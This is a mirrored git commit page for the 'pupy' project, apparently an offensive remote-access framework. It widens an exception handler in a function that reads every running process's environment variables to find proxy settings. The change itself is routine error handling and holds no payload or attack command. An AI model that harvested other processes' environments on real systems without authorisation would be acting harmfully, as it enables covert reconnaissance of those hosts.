mirror of https://github.com/n1nj4sec/pupy.git
psutil may raise NotImplementedError
This commit is contained in:
parent
8149ccac41
commit
75f37a8374
|
@ -181,6 +181,7 @@ def parse_env_proxies(var):
|
|||
def get_env_proxies():
|
||||
for env in PROXY_ENV:
|
||||
var = os.environ.get(env)
|
||||
|
||||
if not var:
|
||||
continue
|
||||
|
||||
|
@ -357,7 +358,7 @@ def get_processes_proxies():
|
|||
for p in psutil.process_iter():
|
||||
try:
|
||||
environ = p.as_dict(['environ'])['environ']
|
||||
except WindowsError:
|
||||
except (WindowsError, NotImplementedError):
|
||||
continue
|
||||
|
||||
if not environ:
|
||||
|
|
Loading…
Reference in New Issue